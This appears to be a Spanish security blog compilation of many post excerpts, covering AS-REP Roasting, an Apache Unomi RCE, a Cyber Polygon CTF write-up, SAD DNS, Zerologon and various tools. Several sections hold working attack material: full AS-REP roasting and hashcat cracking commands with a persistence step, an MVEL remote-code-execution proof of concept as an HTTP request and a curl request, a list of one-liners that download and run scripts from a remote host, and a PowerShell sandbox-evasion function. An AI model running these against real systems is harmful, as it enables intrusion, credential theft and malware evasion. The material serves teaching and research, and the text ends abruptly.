ASREPRoast o AS-REP Roasting

El ASREPRoast es una técnica parecida a Kerberoasting que intenta crackear offline las contraseñas de los usuarios de servicio pero las de los que tienen el atributo DONT_REQ_PREAUTH, es decir, los que no se les requiere pre-autenticación en kerberos. 

Por supuesto, no se recomienda habilitar esto porque sin autenticación previa un atacante puede enviar directamente una solicitud ficticia de autenticación sin conocer las credenciales (mensaje KRB_AS_REQ). El KDC devolverá un TGT cifrado y el atacante puede hacerle fuerza bruta de forma offline. Al verificar los logs del KDC, no se verá nada excepto una única solicitud de TGT.

Además, no se necesita una cuenta de dominio para realizar este ataque, solo una conexión al DC. No obstante con una cuenta de dominio se puede realizar una consulta LDAP para ver usuarios tienen marcado ésto. Por ej. con PowerView:

Get-DomainUser -PreauthNotRequired -verbose

Petición AS_REP

Linux

Probando una lista de usuarios en usernames.txt:
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

Usando credenciales de dominio para extraer y usar los objetivos:
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Windows

Rubeus:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

ASREPRoast.ps1:
Get-ASREPHash -Username VPN114user -verbose

Cracking

John the Ripper:
john --wordlist=passwords_kerb.txt hashes.asreproast

Hashcat:
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistencia

Forzar la pre-autenticación no requerida para un usuario en el que tienes permisos GenericAll (o permisos para escribir en sus propiedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Fuentes:

RCE sin autenticación previa en Apache Unomi mediante inyecciones MVEL y OGNL (CVE-2020-13942)

Unomi es una plataforma de Apache hecha en Java para manejar datos de cliente. Recientemente Eugene Rojavski publicaba aquí una vulnerabilidad de ejecución remota de código o RCE sin necesidad previa de autenticación. 

Para la misma. hay dos vectores: mediante inyección MVEL y mediante inyección OGNL. Ambos apuntan a un código diferente, aunque los payloads son relativamente similares. 

El fix del CVE anterior https://nvd.nist.gov/vuln/detail/CVE-2020-11975 intentó limitar la ejecución de expresiones OGNL, pero omitió completamente MVEL. El CVE-2020-13942 bypassea el parche realizado en la versión 1.5.1. 

A continuación se muestran las peticiones HTTP (BurpSuite o curl) para obtener RCE contra cualquier servidor Unomi expuesto. Solo hay que cambiar el host y el Content-length de acuerdo con la URL de destino y el comando del sistema operativo. 

*Ambas POCs podrían obtener un 'HTTP/1.1 400 Header Folding' como respuesta, normalmente debido a que falta un \r\n en el payload. Si ocurre, intentar copiarlo y pegarlo otra vez. 

1) MVEL POC 

HTTP request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}
Curl:
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

Writeup Cyber Polygon 2020

A principios de julio tuvo lugar el Cyber Polygon 2020, un ciberejercicio internacional organizado por el Centro de Ciberseguridad del Foro Económico Mundial, Sberbank Group y BI.ZONE. La modalidad era un CTF de tipo ataque-defensa y el escenario era el siguiente: 

La infraestructura virtual de una organización contenía un servicio que procesaba información confidencial de un cliente. Este servicio se convirtió en punto de interés de un grupo APT. Los ciberdelincuentes iban a robar datos confidenciales de los usuarios y luego revenderlos en la Darknet para recibir un beneficio económico y dañar la reputación de la empresa. El grupo APT estudió el sistema de destino previamente y descubrió varias vulnerabilidades críticas. El Actor lanzó el ataque el día del ejercicio. 

Y ese era el eje central. Sin embargo, durante la capacitación de Cyber ​​Polygon, no se esperaba que los participantes se atacaran entre sí; todo lo que tenían que hacer era proteger sus propios servicios. Por lo tanto se tuvieron que poner sólo la chaqueta de azulones/Blue Teams y sus objetivos eran: 

  • contener el ataque lo más rápido posible 
  • minimizar la cantidad de información robada 
  • mantener la disponibilidad del servicio 

A cada equipo participante se le proporcionó un servidor virtual Linux con un servicio con 5 vulnerabilidades que debían proteger: 


1. Insecure Direct Object References (IDOR) 

La vulnerabilidad conocida como referencia de objeto directo inseguro (IDOR) es causada por fallos en los mecanismos de autorización. La vulnerabilidad permite que un atacante obtenga acceso a datos de usuario que de otro modo serían inaccesibles. Concretamente ésta estaba en el método get de la clase UsersController. 

 backend/app/controllers/users_controller.rb:

def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

Al llamar a la dirección http://example.com/api/users/ cualquiera podía obtener un objeto JSON que contenía un id numérico y un nombre de usuario correspondiente al mismo. Pero esta funcionalidad como tal no representaba ninguna amenaza para los datos del usuario. En su lugar, debían centrarse en el siguiente fragmento de código:

if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })
Había que tener en cuenta que si se transmite el parámetro completo en una petición, la respuesta del servidor devolvía más datos: además del ID y el nombre de usuario, contenía su correo electrónico y número de teléfono. Las flags estaban almacenadas y podían ser robadas del campo user.phone en el directorio del servicio del juego (esta actividad podría detectarse, por ejemplo, analizando el tráfico de la red). Por lo tanto sólo había que mandar una petición del tipo http://example.com/api/users/?full=1 y buscar la flag en el campo de teléfono del JSON de salida. 

Damn-Vulnerable-Bank: una app Android insegura para practicar

Damn Vulnerable Bank es una aplicación para Android que simula ser una app de un banco y que nos proporciona una interfaz para realizar pruebas y poder obtener una comprensión detallada de los aspectos internos y de seguridad más comunes.

Cómo utilizar la aplicación

- Clonar el repositorio:

$ git clone https://github.com/rewanth1997/Damn-Vulnerable-Bank.git

Servidor de Backend

$ cd Damn-Vulnerable-Bank/BackendServer


Con docker:

  • $ docker-compose up --build
  • Hacer una petición a /api/health/check para ver el estado
    •     curl <IP>:<magic_port>/api/health/check

Sin docker:

  • Instalar dependencias
    • nodejs (v10.19.0)
    • npm (6.14.4)
    • mysql (Ver 8.0.21)
  • Actualizar la configuración de mysql (campos de nombre de usuario, contraseña) en config/config.json
  • Insertar datos en la base de datos
    • cat database/schema+data.sql | mysql -u root -p 
  • Instalar paquetes npm
    • npm install
  • Iniciar el servidor de aplicaciones
    • npm start
  • Hacer una petición a /api/health/check para ver el estado
    •     curl <IP>:<magic_port>/api/health/check

SAD DNS: un nuevo ataque que puede hacer tambalear los cimientos de Internet

En 2008 Dan Kaminsky publicó uno de los fallos más graves en Internet de la historia, uno por el que cualquier atacante podía redirigir a cualquiera a otros sitios falsos, incluso si la víctima tecleaba de manera correcta dicha dirección en el navegador. Con la coordinación de toda la industria, miles de proveedores de DNS de todo el mundo llevaron a cabo una solución que evitó este escenario apocalíptico. Pero claro, si hablamos de apocalipsis 2020 es un año especial...

El pasado miércoles investigadores de las Universidades de California y Tsinghua publicaron una serie de fallos de seguridad que reviven un ataque de envenamiento de caché DNS similar al de Kaminsky: el bautizado como SAD DNS o Side-channel AttackeD DNS. El nombre de side-channel o canal lateral es porque se identifica el puerto UDP abierto por el cliente para resolver un nombre determinado ya que con eso y el ID de la transacción (TxID) se le puede enviar una respuesta falsificada. Y, ¿cómo puede identificar un atacante el puerto UDP abierto por su víctima? Veamos...

Si escaneamos un puerto UDP que está abierto no recibiremos respuesta pero si el puerto está cerrado el servidor responderá por ICMP con el mensaje de que el puerto es inalcanzable. Sin embargo, para evitar ser saturado los sistemas limitan las respuestas a 1000 por segundo en Linux o 200 por segundo en Windows. Precisamente, con esa lógica y esos límites juega este ataque: si después de una verificación de un rango de 1000 puertos (se escanean 50 puertos cada 20 ms realmente) volvemos a lanzar otra petición, esta vez con la IP no spoofeada, y nos devuelve un paquete ICMP entonces ya sabemos que uno de ellos estaba abierto. Entonces para obtener el puerto abierto evidentemente sólo necesitaremos unos 65 segundos (65536 puertos / 1000 límite x 1 segundo). voilá! 

Con el puerto de origen identificado todo lo que un atacante tiene que hacer es insertar una dirección IP maliciosa para redirigir el tráfico del sitio web y realizar con éxito un ataque de envenenamiento de caché DNS.

Este nuevo fallo afecta a los sistemas operativos Linux (kernel 3.18-5.10), Windows Server 2019 (versión 1809) y posteriores, macOS 10.15 y posteriores, y FreeBSD 12.1.0 y posteriores. Se estima que el 34% de los resolvers abiertos en Internet son vulnerables, 85% de los cuales forman parte de servicios DNS tan populares como los de Google y Cloudflare.

Para mitigar este ataque se recomienda deshabilitar las respuestas ICMP salientes y configurar el tiempo de espera de las consultas de DNS de manera más agresiva. Por otro lado, el parche del kernel lo que hace es que no haya un valor fijo de 1000 respuestas por segundo, sino de un valor aleatorio de entre 500 y 2000.

Fuentes:

Decoder++: una herramienta para codificar/decodificar datos en varios formatos

Decoder++ de bytebutcher es una aplicación para pentesters y desarrolladores bastante chula para decodificar o codificar datos en varios formatos. 

Para instalar la herramienta simplemente podemos usar pip u obtener la fuente desde el repo de Github:

pip3 install decoder-plus-plus

o git clone https://github.com/bytebutcher/decoder-plus-plus.git

En modo gráfico tenemos dos opciones: main-window-mode o dialog-mode. Mientras que el primer modo admite tabs, con el segundo tenemos la opción de devolver el contenido transformado a stdout para su posterior procesamiento. Esto es muy útil si queremos llamar a Decoder++ desde otras herramientas como BurpSuite (echa un vistazo a la extensión de BurpSuite Send-to) o cualquier otro script en el que queramos agregar una interfaz gráfica de usuario.

Por otro lado, si no queremos iniciar una interfaz gráfica podemos usar también la herramienta desde la línea de comandos:

(/tools/decoder-plus-plus/dpp$ python3 runner.py)
$ dpp -e base64 -h sha1 "encodeame y hasheame esto por la gracia de Shon"
763c99199ea69043ea7edb4dcb90e53457e57cd7

Usan un zero-day de Solaris para atacar redes corporativas

Desde hace algún tiempo se viene observando un grupo bautizado por Mandiant como UNC1945 que utiliza una serie de herramientas y técnicas contra sistemas Windows, Linux y muy reseñablemente contra sistemas Solaris. Para los que no habéis tenido la oportunidad de tocar este sistema Unix ex-de Sun Microsystems he de deciros que era cosa fina a lomos de un Sparc dentro de una Enteprise 450 o hasta de una Ultra 5/10... pero esas son historias de un admin-cebolleta de hace más de 15 años... 

Para dar un poquito más de contexto decir que el código fuente de Solaris se liberó en 2005 convirtiéndose en OpenSolaris hasta el año 2010 en el que Oracle compró Sun y decidió que dejara de ser "open". La última versión estable, la 11.4, data de 2018 es decir de hace más de 2 años. Aún así mantiene soporte y sigue habiendo todavía muchos servidores Solaris en circulación (incluso versiones obsoletas) y actores como UNC1945 lo consideran interesante de explotar pues pueden suponer un target importante de cara a infiltrarse en muchas redes corporativas.


Curiosamente, en abril de 2020, encontrábamos en el black market por $3000 USD un exploit con la descripción "Oracle Solaris SSHD Remote Root Exploit" llamado EVILSUN y, oh casualidad, a mediados de 2020 se descubrió en un servidor Solaris 9 una herramienta de UNC1945 que contenía un 0-day bautizado con el CVE-2020-14871 que explotaba una vulnerabilidad recientemente parcheada en el módulo PAM (Pluggable Authentication Module).

Vídeos de #hc0n2020, la III conferencia de Hackplayers

El 31 de enero y 1 de febrero de 2020 tuvimos la suerte de poder celebrar la tercera edición la conferencia de Hackplayers h-c0n, que tuvo lugar en la Nave de Madrid materializando todas nuestras ilusiones: nunca habíamos podido compartir con vosotros tanto contenido en dos días que fueron verdaderamente intensos e inolvidables. El resto es ya historia de la que, junto al staff, los ponentes, patrocinadores y asistentes, quedará remanente en nuestra memoria, y creerme que sólo tenemos palabras y sentimientos de agradecimiento para todos los formasteis parte de ella de cualquiera de las maneras posibles. Gracias otra vez. 

Echando la mirada atrás, por aquel entonces llegaban ya noticias del SARS-CoV-2 presente en China que sin embargo creíamos ajeno, como algo muy remoto. Semanas después ya sabéis que el coronavirus empezó a expandirse hasta convertirse en una pandemia mundial. Nuestra vida cambió radicalmente y eventos presenciales como h-c0n y el resto de conferencias evidentemente ya no son posibles como antes. Seguro que muchos pensaréis (y estamos de acuerdo) que ante esta grave crisis eso ya casi carece de verdadera importancia, pero es irremediable añorar reuniones como aquellas, encontrarnos sin Internet de por medio y tener la posibilidad de echar unas risas y unas cervezas, aunque sea de vez en cuando. ¡Pero seguro volveremos!. 

Por tanto inmersos en el recuerdo de nuestra conferencia de este año, queríamos publicar los vídeos de las charlas que se grabaron en el auditorio principal, gracias a los ponentes correspondientes. Nos hubiese gustado haber podido grabar y compartir con vosotros también las del resto de tracks pero nos faltaron tiempo y medios, así que nos lo apuntamos para la siguiente. Hasta entonces, os dejamos dichos videos para que los disfruteis:

 

 #h-c0n2020 

¿Cómo se organizan los ciberdelincuentes?

A estas alturas yo creo que ya nadie piensa que todos los ciberdelicuentes o cibercriminales son adolescentes trabajando en un sótano con una sudadera con capucha. No digo que no los haya, como lobos solitarios en la hondonada del bosque, pero está claro y meridiano que los grandes "actores" se organizan en complejas bandas con una estructura que se asemeja a la de muchas empresas de tecnología. De hecho imitan tanto su comportamiento que podemos ver que a menudo están activas durante el horario de oficina, se toman los fines de semana libres, trabajan en horario regular, sus miembros se toman vacaciones... Luego establecen objetivos y hasta establecen metas trimestrales.  

Por otro lado el organigrama de las bandas varía evidentemente pero coinciden casi siempre que tienen a un líder, como un director ejecutivo, que supervisa los objetivos más amplios de la organización. Luego por debajo de él tiene una serie de "gerentes de proyecto", que coordinan otras personas a su cargo para las diferentes partes de cada ciberataque. Incluso tienen contactos con otras bandas (con otras suelen incluso competir y rivalizar), gente especializada en finanzas, captación de mulas, etc. 

Lo que os traigo hoy es un simple ejercicio de imaginación de lo que sería la organización de una banda de ciberdelincuentes de tamaño "medio", con sus perfiles y sus roles, y este ha sido el resultado:

Nota: Las fotos son realmente de gente que no existe, generadas por IA de GAN (generative adversarial network) y obtenidas de https://thispersondoesnotexist.com/

Como veis se trata de un grupo bastante multidisciplinario con distintos y variados skills:

Miembros

  • Team leader: responsable de dirigir todas las "misiones" y llevar la comunicación con los miembros de la banda
  • Intrusion coordinator: coordina todas las operaciones a nivel técnico y tiene una amplia visión de cada campaña
  • Coders: desarrolladores de malware que se centran en desarrollar software para infectar los sistemas, persistir, propagarse automáticamente y evadir las detecciones
  • Engineer: mantiene la infraestructura necesaria y administra los sistemas comprometidos o bots
  • Red teamers: diseñan y llevan cabo las distintas fases de la cadena de ataque, identificando y ejecutando todas las tácticas y técnicas oportunas
  • Data miner: investiga, organiza y formatea todos los datos robados para evaluar su valor y monetizarlos
  • Money Specialist: identifica la forma más óptima, estratégica y segura de conseguir dinero con las operaciones

Externos

  • Mule recruiter: coordina la captación y participación de mulas para la obtención y/o blanqueo de rendimientos monetarios obtenidos
  • Contracting: a menudo esponsorizados por terceros anónimos solicitan distintos servicios a la banda
  • Insiders: normalmente empleados sobornados para facilitar información e incluso puertas traseras y otras acciones para facilitar la intrusión

¿Qué opináis? ¿echáis de menos la figura de algún otro crack en la banda? ;)

SIEM, ¿Durmiendo con el enemigo?

En la mayoría de las empresas medianas y grandes, el cerebro de la seguridad se basa en un SIEM (Security Information and Event Managment), donde todos los equipos de red y servidores envían los eventos de cada uno de los servicios o sistemas operativos, para que a través de las políticas y correlaciones configuradas, se generen las alertas de alguna anomalía o un ataque en la red.

Para que esto funcione es fundamental que el SIEM tenga algún mecanismo de acceso a los diferentes servicios o a los diferentes eventos de cada sistema, por lo cual es un elemento en la red que no solo sirve de concentrador sino que también permite acceder de cierta forma a diferentes. Lo que significa que para las áreas de seguridad es un elemento que debe tener una especial atención, no solo en su funcionamiento sino en sus configuraciones de seguridad, por lo que en ElevenPaths desde hace un par de años hemos estado realizado varias investigaciones entorno a como las empresas configuran la seguridad de este elemento central para la seguridad de las empresas.

El objetivo de la investigación fue desarrollar una herramienta que permita a los equipos de red team detectar las vulnerabilidades más comunes que se generan por malas configuraciones de los SIEM, buscando aprovechar fallos en el manejo de las API, hacer ataques de diccionario, usar las contraseñas por defecto o aprovecharse de los puertos de administración que se dejan configurados. Por lo que se inicio con el desarrollo hace un año, haciendo pruebas en tres diferentes SIEM y hoy se ha llevado la investigación a siete plataformas.

Usando para el desarrollo de las pruebas sus versiones libres y las configuraciones por defecto que tiene cada uno de los SIEM que más se usan en el mercado o que tras la presentación de la herramienta en DEFCON Europe en el 2019 nos fueron solicitando los usuarios, así en esta versión 0.2 se pueden hacer pruebas sobre:

    • Splunk
    • Graylog
    • OSSIM
    • QRadar
    • McAfee SIEM
    • SIEMonster
    • ElasticSIEM

La herramienta es completamente publica y pueden descargarla de GitHub y escrita en Python 3, por lo que la comunidad puede aportar o reportar los bugs que detecte y así seguiremos con la investigación.

Cómo hacer MiTM para inspeccionar el tráfico HTTPS de un APK malicioso de Android

Dado que la depuración de APKs de terceros es complicada y el reversing de APKs muy ofuscados es extremadamente difícil, nuestra siguiente mejor opción es dejar que el APK se ejecute para ver cómo se comporta. Cuando hacemos este tipo de análisis dinámico, buscamos principalmente qué tipos de permisos solicita el APK y qué llamadas hace.

Lamentablemente, la mayoría del malware hoy en día utiliza HTTPS para sus callbacks. Eso hace que la inspección del tráfico de la red sea imposible con un sniffer como Wireshark o tcpdump sin algún tipo de técnica de MiTM.

Ser capaz de inspeccionar el tráfico de red de la muestra de malware de turno proporciona indicadores de compromiso (IOC) vitales para el triage de los analistas y proporciona a los reversers información contextual que les ayuda a centrarse en las rutinas clave dentro del APK.

En este video tutorial, podemos ver cómo utilizar la herramienta MITMProxy en Kali Linux para interceptar y descifrar el tráfico IPV4/IPV6 de un emulador de Android que ejecuta malware APK.

Herramientas necesarias

Fuente: https://www.ringzerolabs.com/2020/10/man-in-middle-android-apk-network.html

spybrowse: simple código (educativo) para robar config de navegadores

Hoy traemos un código en C bastante académico, concretamente casi una PoC de un malware que, en tan sólo 149 líneas, es capaz de comprometer y birlar la info del navegador de un usuario de Windows (ficheros de config como el historial, preferencias, etc.) y hasta con un bajo ratio nivel de detección de los AV. Y ojo que solo decimos ratio de detección porque, como decía el amigo esjay, ejecuta exes desde %temp%, usa la clave de registro estándar para persistencia, ni siquiera oculta las llamadas a la API, transmite archivos sin cifrar por ftp desde algún binario sin firmar, ... es decir, que disparará en un santiamén las alarmas de cualquier EDR. Pero bueno, buen código for fun and profit que:

- Se copia a sí mismo en el directorio %TMP% con el nombre ursakta.exe


- Agrega una entrada de registro para que se ejecute cada vez que el usuario inicie sesión

- Verifica el navegador que está usando el usuario (Chrome, Firefox o Brave)

cmds para descargar y ejecutar código malicioso

En el proceso de una intrusión, normalmente en la fase de post-explotación, un atacante necesita descargar y ejecutar código malicioso a través de comandos para implementar operaciones tales como recopilación de información, persistencia, escalada de privilegios, bypasses de defensas, extracción de credenciales, movimiento lateral y exfiltración de datos. Hoy traemos una buena recopilación de comandos en una sóla línea para ello:

LINUX 

01. curl 

Ejecutar el shell script de la página http con curl, sin descargar, directamente en la máquina local.

Opción 1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
Opción 2:bash < <( curl http://192.168.99.19:8080/test.sh  )

02. wget 

Ejecutar el comando wget para descargar programas maliciosos de forma remota.

Opción 1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
Opción 2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
Combinar curl + wget para realizar la ejecución remota de código malicioso sin archivos.
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'

03. rcp 

El comando rcp se usa para copiar archivos o directorios remotos.

rcp root@x.x.x.x:./testfile testfile

04. scp 

scp es una versión mejorada de rcp, scp está cifrado.

scp username@servername:/path/filename /tmp/local_destination

05. rsync 

Utilizar rsync para sincronizar de forma remota y extraer archivos a un servidor local.

rsync -av x.x.x.x:/tmp/passwd.txt  /tmp/passwd.txt

06. sftp 

Utilizar sftp para descargar archivos en el servidor remoto.

sftp admin@192.168.99.242 <<EOF  
get  /tmp/2.txt            
quit 
EOF

Lil Pwny: herramienta para comparar las contraseñas de un DA con la lista de Have I Been Pwned

Lil Pwny es una herramienta escrita en Python que permite comparar de forma offline las contraseñas de un Directorio Activo contra la lista de contraseñas recopiladas en Have I Been Pwned (en adelante HIBP), ya sabéis, la recopilación de contraseñas de muchos data breachs reales. 

Y es que hablamos de que actualmente esta recopilación tiene más de 550 millones de contraseñas, así que esta tarea debe hacerse con cierto "mimo". Para ello el autor de la herramienta Andrew Byford aka @_PaperMtn ha implementado multiproceso y opcionalmente permite trabajar en memoria para un indexado más rápido (mínimo 24GBs de RAM). También divide la lista de los hashes de los usuarios de DA en tantos trozos como número de cores -1, dejando ese core libre para manejar la lista compartida entre los procesos. Luego se crea un proceso para que cada uno de los cores busque su parte de la lista de hashes de usuarios en la lista hash de HIBP. 


Estas optimizaciones significan que cuanto más hardware se esté utilizando más rápido se ejecutará la auditoría. Por ejemplo, con un servidores de 80 núcleos y 80 GB de RAM se pueden comparar unos 6800 usuarios contra la lista HIBP en 48 minutos. 

Además Lil Pwny permite otras características adicionales bastante interesantes como: 

  • La posibilidad de proporcionar una lista adicional de contraseñas (las más relevantes de las que se sospecha que podrían estar usándose), más bien hashes, para comparar contra los del DA y la lista de HIBP.
  • Devuelve una lista de cuentas con las mismas contraseñas. Útil para encontrar usuarios que utilicen la misma contraseña para sus cuentas con privilegios y estándar. 

AntiVM: sensor de temperatura

El sensor que mide la temperatura actual de una máquina es también una buena manera para saber si un programa está ejecutándose en un entorno virtualizado, algo normalmente útil para un código malicioso porque será indicativo de que probablemente esté siendo analizado en una sandbox. En un entorno no virtualizado la función devuelve una salida válida como: "25.05C: 77.09F: 298.2K". Pero para un entorno totalmente virtualizado lo que devuelve es "MSAcpi_ThermalZoneTemperature not supported" porque esta función no es compatible con procesadores virtualizados. 

Pero para decepción de los autores de malware este método no siempre es válido: no todas las máquinas con Windows lo admitirán debido a la incompatibilidad con algunos sensores térmicos. Es una función de BIOS. A veces, el fabricante del BIOS proporciona DLLs a las que se puede hacer referencia para llamar a la función requerida y devolver el detalle, pero muchas otras veces no existe ese soporte del fabricante y simplemente no es posible obtener la temperatura en una máquina física tampoco. En cualquier caso no deja de ser una técnica anti-VM bastante importante: 

Powershell

function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"
    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15
    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32
    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K"  
}

Referencia: https://gist.github.com/teixeira0xfffff/36293713c254c69a7ba2353e8d64afce#file-msacpi_thermalzonetemperature-ps1 

Yara

rule Detect_AntiVMWithTemperature {
    meta:
        description = "Rue to detect AntiVMwithTemperature technique"
        author = "Thibault Seret"
        date = "2020-09-26"
    strings:
        $s1 = {72 6f 6f 74 5c 57 4d 49}
        // root\WMI
        $s2 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 4d 53 41 63 70 69 5f 54 68 65 72 6d 61 6c 5a 6f 6e 65 54 65 6d 70 65 72 61 74 75 72 65}
        // SELECT * FROM MSAcpi_ThermalZoneTemperature
        $s3 = {43 75 72 72 65 6e 74 54 65 6d 70 65 72 61 74 75 72 65}
        //  CurrentTemperature
    
    condition:
    all of them

Recursos adicionales: 

Fuente: https://search.unprotect.it/map/sandbox-evasion/temperature-sensor/

Filtran el código fuente de Windows XP y Windows Server 2003

El código fuente de Windows XP SP1 y Windows Server 2003, entre otros sistemas operativos obsoletos de la compañía de Redmond, ha sido filtrado hoy, concretamente como una colección de 43GB en un torrent en el foro de 4chan.

El contenido del torrent incluye:

  • MS DOS 3.30
  • MS DOS 6.0
  • Windows 2000
  • Windows CE 3
  • Windows CE 4
  • Windows CE 5
  • Windows Embedded 7
  • Windows incrustado CE
  • Windows NT 3.5
  • Windows NT 4

Y adicionalmente un 7zip más pequeño de 2.9GB que contiene el código fuente para Windows XP y Windows Server 2003.

El filtrador afirma que el código fuente de Windows XP se ha transmitido de forma privada durante años, pero que se filtró públicamente por primera vez hoy.

Desde Hackplayers todavía no hemos confirmado al 100% si es el código fuente real de Windows XP o Windows Server 2003. Por motivos obvios, tampoco publicaremos aquí los enlaces a los leaks.

Fuente: https://www.bleepingcomputer.com/news/microsoft/the-windows-xp-source-code-was-allegedly-leaked-online/

Construye un Directorio Activo de pruebas con BadBlood

BadBlood de Secframe es una herramienta que nos ayudará a crear una estructura y miles de objetos en un dominio de Microsoft Active Directory de prueba. El objetivo es tener un dominio similar a un dominio en el mundo real para practicar el uso de herramientas y comprender las defensas y protección del Directorio Activo.

Pero no penséis que BadBlood es una herramienta que siempre va a generarnos el mismo resultado, cada vez que se ejecuta produce resultados distintos: el dominio, los usuarios, los grupos, las computadoras y los permisos son diferentes cada vez.

Para usarla simplemente hay que descargar el repositorio y lanzar el script Invoke-BadBlood.ps1 con un usuario con privilegios de Domain Admin y Schema Admin.

# clone the repo
git clone https://github.com/davidprowe/badblood.git
#Run Invoke-badblood.ps1
./badblood/invoke-badblood.ps1

Si queremos editar las OUs de nivel superior podemos hacerlo en el archivo de configuración “3lettercodes.csv”. También podemos modificar los detalles de la estructura de OUs que se incluyen en AD_OU_CreateStructure\CreateOUStructure.ps1.

Una vez que se completa la estructura, BadBlood comienza a crear un número aleatorio de usuarios (500-10000) en el dominio. Este proceso está diseñado en el fichero AD_Users_Create\CreateUsers.ps1.

Zerologon desatado: la vulnerabilidad que permite comprometer cualquier controlador de dominio de Windows fácilmente

El 11 de agosto Microsoft a través de Tom Tervoort de Secura trataba una vulnerabilidad en el servicio Netlogon. Netlogon Remote Protocol es una interfaz RPC disponible en los controladores de dominio de Windows. Se utiliza para diversas tareas relacionadas con la autenticación de usuarios y máquinas, sobretodo para facilitar que los usuarios inicien sesión en servidores utilizando el protocolo NTLM, pero también para otras cosas como la autenticación de respuestas NTP y para permitir que un equipo actualice su contraseña dentro del dominio. El servicio RPC se sirve en un puerto dinámico TCP asignado por el servicio "portmapper" del controlador de dominio, o mediante una canalización SMB en el puerto 445.

En aquel momento Microsoft sólo decía brevemente que para explotar la vulnerabilidad un atacante no autenticado podía usar MS-NRPC para conectarse a un controlador de dominio y obtener acceso de administrador de dominio. Pero un mes después, el 11 de septiembre de 2020, la misma empresa Secura lanzó un advisory con una herramienta para identificar las máquinas vulnerables a esta vulnerabilidad identificada como CVE-2020-1472 (CVSS 10.0) y tres días después publicó un paper técnico explicando la vulnerabilidad más en detalle, desatando una avalancha de PoCs y herramientas que están poniendo en vilo a toda la comunidad de seguridad, ya que cualquier atacante sin necesidad de autenticación y con visibilidad por red contra un controlador de dominio puede resetear la password del domain admin.

Lo interesante de este protocolo Netlogon es que no utiliza el mismo esquema de autenticación que otros servicios RPC. En su lugar, utiliza un protocolo criptográfico personalizado para permitir que un cliente (una computadora unida a un dominio) y un servidor (el controlador de dominio) se demuestren entre sí que ambos conocen un secreto compartido. Este secreto compartido es un hash de la contraseña de la cuenta de la computadora del cliente. La razón de esto es que las cuentas de equipo en tiempos Windows NT no podían hacer uso de esquemas de autenticación de usuario estándar como NTLM o Kerberos.

El problema: que la implementación de este protocolo basado en AES-CFB8 no está hecha correctamente. ¿Por qué? Porque para generar las credenciales tanto cliente como servidor usan la función ComputeNetlogonCredential que en su versión más moderna que usa AES-CFB8 define IVs fijos de 16 bytes de ceros en lugar de IVs aleatorios (de ahí que se haya bautizado también a la vulnerabilidad como Zerologon). Con esto, dada una clave aleatoria, hay una probabilidad de 1 entre 256 de que el cifrado AES de un bloque de todo ceros de como salida todo ceros.

A partir de ahí se pueden llevar una serie de pasos para conseguir la explotación. Yo los voy a resumir en español, pero los tenéis en detalle en el paper técnico de Secura.

Listado de retos de CTFs en los que hay que "juakear" videojuegos

Suraj Malhotra aka mrT4ntr4 tiene un repo en Github muy interesante para todos los jugones de CTFs: un recopilatorio de retos que nos desafían a hackear videojuegos de varios tipos. Os lo dejamos también aquí pero os animamos a contribuir con tito Siraj si conocéis alguno más para ampliar esta buena lista. It's time to play:

PC Games
Retro [Gameboy/NES]
Android
Web
 

PC Games

  1. DragonSector CTF 2018
    Solution Videos
    https://youtu.be/8bjFplctDE0
    https://youtu.be/j0taw78tCYs
  2. Nullcon HackIM 2020
    Writeups
    https://medium.com/@roottusk/helping-zelda-capture-flags-nullcon-hackim-2020-f2480099cc3c
    https://devploit.dev/2020/02/09/nullconHackIM-ZeldaAdventures.html
  3. Pwn Adventure Series by Vector35

Ripple20. ¿Preocupado? Lee esto

El objetivo de este pequeño artículo es resumir la información actualmente pública en torno a Ripple20, y arrojar claridad sobre si se tienen o no dispositivos afectados por Ripple20 en la red.

Ideas clave:
  • Posiblemente sólo dispositivos Digi tengan las vulnerabilidades críticas de Ripple20
  • Actualmente no existe un método (gratuito) para determinar con precisión si se tienen dispositivos con afectaciones graves de Ripple20 (CVE-2020-11896 y CVE-2020-11898)
  • ¿La vulnerabilidad presente en un servidor de virtualización afecta a las máquinas virtuales? (¡¿?!)
Contexto

